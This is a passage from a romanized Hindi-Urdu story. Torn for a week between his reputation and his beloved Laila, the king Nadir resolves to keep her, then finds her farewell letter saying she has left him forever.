‘ai khuda ! too hi gariboan ka madadagar aur bekasoan ka sahara hai. too is jalim badashah ke julm dekhata hai aur tera kahar us par nahian girata. yah bedin kaphir ek hasin aurat ki muhabbat mean apane ko itana bhool gaya hai ki n aankhoan se dekhata hai, n kanoan se sunata hai. agar dekhata hai to usi aurat ki aankhoan se, sunata hai to usi aurat ke kanoan se. ab yah musibat nahian sahi jati. ya to too us jalim ko jahannum pahuancha de; ya ham bekasoan ko duniya se utha le. eeran usake julm se tang a gaya hai aur too hi usake sir se is bala ko tal sakata hai.’

boodhe ne to apani chh di sanbhali aur chalata hua; lekin nadir mritak ki bhaanti vahian p da raha, mano us par bijali gir p di ho.

10

ek saptah tak nadir darabar mean n aya, n kisi karmachari ko apane pas ane ki ajna di. din-ke-din aandar p da socha karata ki kya karooan. namamatr ko kuchh kha leta. laila bar-bar usake pas jati aur kabhi usaka sir apani jaangh par rakhakar, kabhi usake gale mean baanhean dalakar poochhati- tum kyoan itane udas aur malin ho ! nadir use dekhakar rone lagata; par muanh se kuchh n kahata. yash ya laila, yahi usake samane kathin samasya thi. usake hriday mean bhishan dvandv rahata aur vah kuchh nishchay n kar sakata tha. yash pyara tha; par laila usase bhi pyari thi. vah badanam hokar jianda rah sakata tha; par laila ke bina vah jivan ki kalpana hi n kar sakata tha. laila usake rom-rom mean vyapt thi.

aant ko usane nishchay kar liya- laila meri hai, maian laila ka hooan. n maian usase alag, n vah mujhase juda. jo kuchh vah karati hai mera hai, jo kuchh maian karata hooan usaka hai. yahaan mera aur tera ka bhed hi kahaan ? badashahat nashvar hai, prem amar. ham anant kal tak ek-doosare ke pahaloo mean baithe hue svarg ke sukh bhogeange. hamara prem anant kal tak akash mean tare ki bhaanti chamakega.

nadir prasann hokar utha. usaka mukh-mandal vijay ki lalima se ranjit ho raha tha. aankhoan mean shaury tapaka p data tha. vah laila ke prem ka pyala pine ja raha tha. jise ek saptah se usane muanh nahian lagaya tha. usaka hriday usi umang se uchhala p data tha, jo aj se paanch sal pahale utha karati thi. prem ka phool kabhi nahian murajhata, prem ki niand kabhi nahian utarati.

lekin laila ki aramagah ke dvar band the aur usaka daph jo dvar par nity ek khooanti se lataka rahata tha, gayab tha. nadir ka kaleja sann-sa ho gaya. dvar band rahane ka ashay to yah ho sakata tha ki laila bag mean hogi; lekin daph kahaan gaya ? sambhav hai, vah daph lekar bag mean gayi ho; lekin yah udasi kyoan chhayi hai ? yah hasarat kyoan baras rahi hai !

nadir ne kaanpate hue hathoan se dvar khol diya. laila aandar n thi. palang bichha hua tha, shama jal rahi thi, vajoo ka pani rakha hua tha. nadir ke paanv tharrane lage. kya laila rat ko bhi nahian soyi ? kamare ki ek-ek vastu mean laila ki yad thi, usaki tasavir thi, usaki mahak thi, lekin laila n thi. makan soona maloom hota tha, jyoti-hin netr .

nadir ka dil bhar aya. usaki himmat n p di ki kisi se kuchh poochhe. hriday itana katar ho gaya ki hatabuddhi ki bhaanti pharsh par baithakar bilakh-bilakhakar rone laga. jab jara aansoo thame tab usane bistar ko sooangha ki shayad laila ke sparsh ki kuchh gandh aye; lekin khas aur gulab ki mahak ke siva aur koee sugandh n thi.

sahasa use takiye ke niche se bahar nikala hua ek kagaz ka purja dikhayi diya. usane ek hath se kaleje ko sanbhalakar purja nikal liya aur sahami huee aankhoan se use dekha. ek nigah mean sabakuchh maloom ho gaya. vah nadir ki kismat ka phaisala tha. nadir ke muanh se nikala, hay laila! aur vah moorchhit hokar zamin par gir p da. laila ne purje mean likha tha- ‘mere pyare nadir, tumhari laila tumase juda hoti hai- hamesha ke lie. meri talash mat karana, tum mera surag n paoge. maian tumhari muhabbat ki lauandi thi, tumhari badashahat ki bhookhi nahian. aj ek haphte se dekh rahi hooan, tumhari nigah phiri huee hai. tum mujhase nahian bolate, meri taraph aankh uthakar nahian dekhate. mujhase bejar rahate ho. maian kin-kin aramanoan se tumhare pas jati hooan aur kitani mayoos hokar lautati hooan isaka tum aandazanahian kar sakate. maianne is saza ke layaq koee kam nahian kiya. maianne jo kuchh kiya hai, tumhari hi bhalaee ke khayal se. ek haphta mujhe rote gujar gaya. mujhe maloom ho raha hai ki ab maian tumhari najaroan se gir gayi, tumhare dil se nikal di gayi. ah ! ye paanch sal hamesha yad raheange, hamesha t dapate raheange ! yahi daph lekar ayi thi, vahi lekar jati hooan. paanch sal muhabbat ke maje uthakar ziandagi-bhar ke lie hasarat ka dag liye jati hooan. laila muhabbat ki lauandi thi; jab muhabbat n rahi, tab laila kyoankar rahati ? rukhsat !’